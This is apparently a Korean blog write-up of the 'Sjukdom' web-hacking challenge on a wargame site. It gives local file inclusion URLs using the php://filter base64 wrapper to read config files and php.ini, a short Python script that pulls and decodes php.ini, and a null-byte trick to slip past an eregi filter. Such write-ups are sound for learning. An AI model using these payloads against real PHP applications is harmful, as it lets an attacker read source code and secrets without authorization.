webhacking/etc

chall.tasteless.eu Sjukdom

qkqhxla1 2015. 3. 20. 18:36

easy.


바로 이전의 php wrapper글에서의 공부가 도움이 됬음.


http://level11.tasteless.eu/index.php?file=php://filter/convert.base64-encode/resource=config.easy.inc.php




hard.


easy모드에서 php.ini의 속성을 확인 가능하다.

# -*- encoding: cp949 -*-
import urllib2, os
req = urllib2.Request('http://level11.tasteless.eu/index.php?file=php://filter/convert.base64-encode/resource=php.ini')
req.add_header('cookie','__cfduid=d9fabd7cfefe2f29855f59004e0ff1af71418203169')
req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) ')
ini = urllib2.urlopen(req).read().split('<br />')[2].split('</body>')[0].decode('base64')
file('p.ini','w').write(ini)
os.system('p.ini')


근데 magic_quote이후로 짤려있다. magic_quotes_gpc 옵션은 Off이다. 이거 하나 발견하고 또 


삽질을 하다가 http://level11.tasteless.eu/index.php?file[]=test.txt 처럼 입력하면 에러 

메시지가뜬다는걸 발견했다. 근데 hard에서도 에러 메시지가 뜸. 

http://level11.tasteless.eu/index.php?hard=1&file[]=test.txt


easy에서는 preg_match에러가 보이고, hard에서는 trim에러가 보인다..... 여기서 또 한참을 삽질하다가

모르겠어서 이것저것 찾아보다 풀이집을 찾았다.......


http://blog.naver.com/dmbs335/10189584541

eregi함수가 hacker detected를 감지하고 있어서 널문자로 필터링 통과가 가능하다는데, eregi함수의

존재는 어떻게 파악했는지 모르겠다. (거의 다 푼건데........)


eregi의 취약점을 이용해 널문자로 필터링을 우회하면 된다고 한다.

http://level11.tasteless.eu/index.php?hard=1&file=%00php://filter/convert.base64-encode/resource=config.hard.inc.php